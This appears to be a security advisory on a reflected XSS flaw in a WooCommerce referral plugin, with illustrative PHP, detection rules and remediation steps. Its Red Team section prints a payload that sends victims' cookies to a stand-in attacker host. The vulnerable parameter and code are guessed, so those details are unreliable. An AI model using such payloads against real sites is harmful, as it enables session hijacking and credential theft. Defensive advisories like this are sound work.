CVE-2024-53742

Executive Summary

CVE-2024-53742 is a reflected Cross-Site Scripting (XSS) vulnerability in the Multilevel Referral Affiliate Plugin for WooCommerce by Prism I.T. Systems, affecting versions up to and including 2.27. This WordPress plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. The vulnerability has a CVSS score of 7.1 (High) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they become available. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised plugin updates or malicious forks. Administrators should verify plugin integrity via checksums and restrict plugin installation to trusted sources.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is classified as High severity due to the low attack complexity and the ability to execute arbitrary JavaScript in the victim’s browser context. User interaction is required (e.g., clicking a crafted link), but the impact is limited to the affected plugin’s scope.

Deep Dive & Mechanics

The vulnerability resides in the Multilevel Referral Affiliate Plugin for WooCommerce (version <= 2.27). The plugin fails to sanitize or escape user-supplied input before reflecting it in HTTP responses. This allows an attacker to craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the payload executes in the context of the victim’s session, potentially leading to session hijacking, credential theft, or defacement.

The root cause is improper neutralization of input during web page generation (CWE-79). The plugin likely uses $_GET or $_POST parameters directly in output without proper escaping or validation.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (PHP):

<?php
$referral_code = $_GET['ref'];
echo "Your referral code is: " . $referral_code;
?>

Patched Code (Hypothetical):

<?php
$referral_code = sanitize_text_field($_GET['ref']);
echo "Your referral code is: " . esc_html($referral_code);
?>

The patched version uses WordPress’s sanitize_text_field() and esc_html() functions to neutralize malicious input.

Exploitation & Lab Setup

Red Team

1. Craft a malicious URL:

   http://target-site.com/?ref=<script>alert('XSS')</script>
   

2. Deliver the link via phishing email, social media, or other channels.
3. Execute payload to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Example payload for session hijacking:

http://target-site.com/?ref=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

1. Monitor web logs for suspicious ref parameters containing <script>, onerror, or other XSS patterns.
2. Deploy WAF rules to block reflected XSS attempts.
3. Educate users about phishing links and the importance of not clicking untrusted URLs.

Indicators of Compromise (IOCs)

• URL patterns: ?ref=<script>, ?ref=alert(, ?ref=onerror=
• HTTP Referer headers from known malicious domains.
• Web server logs showing repeated requests with encoded XSS payloads in the ref parameter.
• Browser console errors or unexpected JavaScript execution on the plugin’s pages.

Detection Engineering

YARA Rule

rule CVE_2024_53742_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Multilevel Referral Affiliate Plugin for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-53742"
    strings:
        $ref_param = /[?&]ref=.*(<script|alert|onerror|onload|javascript:)/
    condition:
        $ref_param
}

Sigma Rule

title: Reflected XSS Attempt Against Multilevel Referral Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS payloads in the 'ref' parameter of the Multilevel Referral Affiliate Plugin for WooCommerce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "?ref="
        c-uri|contains|any:
            - "<script"
            - "alert("
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of the 'ref' parameter with non-malicious content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53742 Reflected XSS Attempt"; flow:to_server; content:"?ref="; http_uri; pcre:"/(<script|alert\(|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block reflected XSS payloads in the ref parameter.
3. Long-term: Apply the official patch from the vendor when available. If no patch is forthcoming, consider replacing the plugin with an alternative.
4. User Education: Train users to avoid clicking suspicious links and to report unusual behavior.

Valters IT
Securing Digital Frontiers